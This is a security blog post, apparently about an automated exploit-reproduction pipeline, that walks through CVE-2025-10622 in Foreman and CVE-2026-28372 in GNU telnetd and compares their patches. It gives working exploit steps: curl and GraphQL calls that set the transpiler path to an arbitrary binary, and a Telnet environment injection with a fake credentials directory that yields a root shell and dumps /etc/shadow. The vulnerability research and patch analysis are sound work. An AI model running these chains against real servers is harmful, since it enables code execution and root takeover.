One of these is a command injection in Foreman - Red Hat Satellite’s infrastructure engine - where a UI dropdown was the only thing standing between an admin API call and arbitrary code execution on a modern Ruby on Rails stack. The other is a local privilege escalation in GNU telnetd, where an environment-variable blacklist written in 1995 had never heard of systemd’s CREDENTIALS_DIRECTORY.
Both are exploitable. Both got patched. But only one of those patches made us feel better about the state of the world.
We ran CVE-2025-10622 (Foreman command injection) and CVE-2026-28372 (telnetd privilege escalation) through CVEForge back-to-back, same pipeline, same verification rubric. The contrast in what came out the other end is the whole point of this post.
If you want the earlier arc that led here:
- Teaching an AI to talk exploits
- From CVE to bypass with MCP
- CVEForge from Shannon to autonomous PoC
- Zero to RCE across three classes
- Five CVEs, three bypass outcomes
CVE-2025-10622: The Dropdown That Thought It Was Security
Foreman is a lifecycle management tool for physical and virtual servers - and a core component of Red Hat Satellite. It manages provisioning templates, handles configuration, and generally has the keys to your infrastructure. Versions 3.12.0 through 3.16.0 have an OS command injection vulnerability that is, frankly, a case study in how UI-level restrictions create a dangerous illusion of safety.
The vulnerability is in how Foreman handles the ct_location and fcct_location settings - the filesystem paths to the CoreOS and Fedora CoreOS transpiler binaries. In the web UI, these settings present a dropdown with two whitelisted options:
setting('ct_location',
type: :string,
default: CT_LOCATIONS.first, # /usr/bin/ct
collection: proc { CT_LOCATIONS.zip(CT_LOCATIONS).to_h })
That collection parameter populates a UI dropdown. It looks secure. It feels secure. A dropdown with two options - /usr/bin/ct and /usr/local/bin/ct. You can’t type in that box. You can only pick from the list.
Except the API doesn’t care about your dropdown.
curl -u admin:changeme -X PUT -H "Content-Type: application/json" \
-d '{"setting": {"value": "/usr/bin/id"}}' \
"http://foreman:3000/api/v2/settings/ct_location"
HTTP 200. Setting accepted. No questions asked. The server stores /usr/bin/id as your CoreOS transpiler path, because at no point in the SettingsController or the Setting model does anyone check whether the value is on the whitelist. The whitelist is decoration.
And if you’re wondering whether GraphQL is any different:
mutation {
updateSetting(input: { name: "fcct_location", value: "/usr/bin/id" }) {
setting { name value }
errors { path message }
}
}
Same result. Both API surfaces share the same unvalidated model layer.
From Bad Setting to Shell
Once you control the transpiler path, triggering execution is three API calls:
- Set the trap -
PUT /api/v2/settings/ct_locationwith your binary of choice - Create the trigger -
POST /api/v2/report_templateswith a template containing<%= transpile_coreos_linux_config("---\ntest: true") %> - Pull the trigger -
POST /api/v2/report_templates/:id/generate
When the template renders, transpile_coreos_linux_config() reads Setting[:ct_location] - now pointing at /usr/bin/id - assembles it into a command array, and hands it to Foreman::CommandRunner, which calls Open3.capture3. Ruby dutifully executes whatever binary you specified.
The CommandRunner does validate three things: the path is absolute, the file exists, and it’s executable. Which is a bit like a bouncer who checks that you’re wearing shoes but doesn’t ask for ID. Every system binary on the box passes those checks.
[+] SUCCESS: ct_location changed to '/usr/bin/id'
[+] Server accepted arbitrary path - NO server-side validation!
============================================================
COMMAND OUTPUT:
============================================================
| uid=998(foreman) gid=998(foreman) groups=998(foreman)
============================================================
[+] EXPLOIT SUCCESSFUL!
CVEForge built the full lab - Foreman 3.16.0, PostgreSQL, two Redis instances, the works - wrote two independent PoC scripts (REST and GraphQL paths), verified both, and cleaned up after itself. Forty-two minutes, $10.99.
The Fix That Actually Worked
This is the part of the story we liked. The Foreman maintainers got this one right.
The fix (commit 49dd222
) adds server-side validation at the Setting model layer:
validates('ct_location',
->(value) { value.blank? || CT_LOCATIONS.include?(value) },
message: N_("Invalid ct location, use settings.yaml for arbitrary location"))
Strict include? check against the same whitelist constants. No regex, no pattern matching - nothing to play tricks with. And because the validation lives in the shared Setting model, it applies equally to REST API, GraphQL, and any future interface. The same API call that returned HTTP 200 on vulnerable versions now returns:
{
"error": {
"message": "Validation failed: Invalid ct location, use settings.yaml for arbitrary location"
}
}
HTTP 422. Door closed.
In our patched-line verification, the direct bypass path did not hold. No encoding tricks, no path traversal, no alternative entry point. The fix is exactly what you’d want: server-side enforcement at the model layer, using a strict whitelist, applied uniformly.
CVE-2026-28372: The Ghost of 1995
Now for something completely different.
GNU inetutils telnetd through version 2.7 has a local privilege escalation vulnerability that gives any unprivileged user a root shell. The bug is the kind of thing that makes you simultaneously impressed and horrified - two separate pieces of software, written decades apart, interacting in a way that neither team anticipated.
The first piece is old. The Telnet NEW_ENVIRON option (RFC 1572) lets a client send environment variables to the server during connection setup. The suboption() handler in telnetd/state.c processes these with setenv(varp, valp, 1) - storing whatever variable name and value the client sends, no questions asked. Before launching login(1), the daemon runs scrub_env() to strip dangerous variables. Here’s the blacklist:
LD_*(dynamic linker)_RLD_*(IRIX dynamic linker)LIBPATH=(AIX)IFS=(shell field separator)
That’s it. That’s the list. It was written in 1995 as part of David Borman’s telnet-95.10.23.NE implementation and it has not been updated since. Thirty-one years. The IRIX entries are still there.
The second piece is new. Starting with version 2.40, util-linux’s login(1) added systemd service credentials support. If the environment variable CREDENTIALS_DIRECTORY points to a directory containing a file named login.noauth, and that file contains the word yes, login skips all authentication. No password prompt. No PAM checks. Nothing.
This is a perfectly reasonable feature for managed service environments where systemd injects credentials at runtime. It is a catastrophic feature when an untrusted client can set the environment variable.
The Exploit
The chain is almost elegant in its simplicity:
# Step 1: Create the bait (as any unprivileged user)
mkdir -p /tmp/fake_cred
echo "yes" > /tmp/fake_cred/login.noauth
# Step 2: Connect and inject (Telnet protocol bytes)
IAC SB NEW_ENVIRON IS
USERVAR "CREDENTIALS_DIRECTORY" VALUE "/tmp/fake_cred"
USERVAR "USER" VALUE "root"
IAC SE
The client tells telnetd: “Here are my environment variables.” Telnetd calls setenv() for each one. scrub_env() runs its 1995 blacklist - CREDENTIALS_DIRECTORY isn’t LD_-anything, so it passes. Then start_login() calls execv() to launch login, and crucially, telnetd invokes login with the -p flag - preserve environment. The attacker-controlled CREDENTIALS_DIRECTORY reaches login(1) intact.
Login sees the credentials directory. Reads login.noauth. Finds yes. Skips authentication.
-----------------------------------------------------------------
EXPLOIT RESULTS
-----------------------------------------------------------------
id output: uid=0(root) gid=0(root) groups=0(root)
whoami output: root
/etc/shadow: root:$y$j9T$9rypIR8x3G7RIteftdbkD0$...
-----------------------------------------------------------------
[+] VULNERABILITY CONFIRMED - CVE-2026-28372
[+] Root shell obtained without password!
Reading /etc/shadow is the cherry on top - only root can do that, and the exploit serves it up to confirm full filesystem access. No ambiguity.
CVEForge built the lab on Debian Trixie (which ships util-linux 2.41), compiled telnetd 2.7 from source, wrote a custom mini-inetd in Python to serve the daemon, and produced the PoC - a standalone Telnet client that handles the full protocol negotiation with raw sockets. Twenty-nine minutes, $6.78.
The Fix That Raises Questions
The Debian patch (commit 3953943d
) adds one line to start_login() in pty.c:
unsetenv ("CREDENTIALS_DIRECTORY");
Right before execv(). Clean, targeted, effective for this specific CVE. The named vector is dead.
But here’s the thing. The fix’s own author described it as “a simple fix that can be backported easily.” That’s honest - and it tells you what the fix isn’t. It isn’t a redesign of scrub_env(). It isn’t a switch from blacklist to whitelist. It isn’t removing the -p flag. The 1995 blacklist is still the primary defense, and it still doesn’t filter BASH_ENV, ENV, PYTHONPATH, HOME, XDG_CONFIG_HOME, or anything else that didn’t exist - or wasn’t considered dangerous - three decades ago.
This is not a “bypass confirmed” case for CVE-2026-28372 specifically. The unsetenv() call is definitive for the named vector. But it’s the kind of fix where you look at the surrounding code and think: the next time util-linux or systemd or PAM adds an environment-variable-based feature, someone will be writing this exact same patch again, for a new variable name, on the same 31-year-old blacklist.
For context, this is the same root cause pattern as CVE-1999-0073 - telnet LD_LIBRARY_PATH injection. That was twenty-seven years ago. The blacklist was the fix then, too.
The Comparison
| CVE | Target | Vulnerability Class | Exploit Result | Fix Quality |
|---|---|---|---|---|
| CVE-2025-10622 | Foreman 3.16.0 (Rails) | OS command injection via settings API | uid=998(foreman) confirmed | Server-side whitelist validation. Held under test. |
| CVE-2026-28372 | GNU telnetd 2.7 + util-linux 2.40+ | Privilege escalation via env injection | uid=0(root) confirmed | Single unsetenv() call. Named vector closed. Blacklist architecture unchanged. |
Same pipeline, same verification rubric, very different outcomes. Not in whether the exploit worked - both did - but in how much confidence the fix gave us.
Foreman’s fix is the kind you want: structural, applied at the right layer, resistant to encoding tricks, covering all entry points through a shared model. The telnetd fix is the kind that works today and makes you nervous about tomorrow.
The Numbers
| CVE-2025-10622 (Foreman) | CVE-2026-28372 (telnetd) | |
|---|---|---|
| Runtime | 41m 58s | 29m 25s |
| Cost | $10.99 | $6.78 |
| Lab complexity | 4 containers (Rails, PostgreSQL, 2x Redis) | 1 container (Debian Trixie, compiled from source) |
| PoC scripts | 2 (REST API + GraphQL) | 2 (exploit + control test) |
Combined: 71 minutes, $17.77. The Foreman run cost more because building a Rails app with database migrations and admin user seeding takes longer than compiling a C daemon. That’s the pattern we keep seeing: lab construction is the bottleneck, not analysis.
What This Pair Taught Us
We deliberately picked these two because they’re as different as application-layer vulnerabilities get. One is a modern web framework where the bug is a missing server-side check on a REST/GraphQL endpoint. The other is a C daemon from the 1990s where the bug is a 31-year-old blacklist meeting a 2024 systemd feature. If the same pipeline can handle both and produce meaningful patch-quality assessments for each, that tells us something about the pipeline’s generality.
The more interesting lesson is about fixes. When we started this CVEForge series, the question was “can we autonomously reproduce CVEs?” Now, seven runs in, the question has shifted to “what does the patch landscape actually look like?” Three out of seven runs have ended with bypass or incomplete-fix findings. This pair adds nuance: even when a fix is technically correct for the named vector, the surrounding architecture can make it fragile.
The Foreman maintainers shipped a fix that makes us confident the bug class is addressed. The telnetd fix makes us confident that this specific CVE won’t fire again - but not that the next environment variable feature won’t recreate the same problem on the same blacklist.
Both are real outcomes. Both matter. And the only way to tell them apart is to actually verify the patch, not just confirm the exploit.
Artifacts
- Foreman CVE package (CVE-2025-10622)
- telnetd CVE package (CVE-2026-28372)
- CVE-2025-10622 in EIP
- CVE-2026-28372 in EIP
Seven CVEs. Seven working PoCs. The pipeline keeps running. The patches keep telling different stories.
CVEForge Series:
- From CRLF Injection PoC to Fix Bypass - the one-prompt precursor
- CVE-2025-53833: From CVE Number to Root Shell in 32 Minutes - the first full run
- Zero to RCE: Three Vulnerability Classes - three CVEs, three PoCs, one bypass
- OneBlog: 3 Bypasses in 5 Runs - the Java case study
- Foreman & Telnetd - you are here
- 72 Hours, 24 CVEs - the stress test
- The One That Failed - when the pipeline hits a wall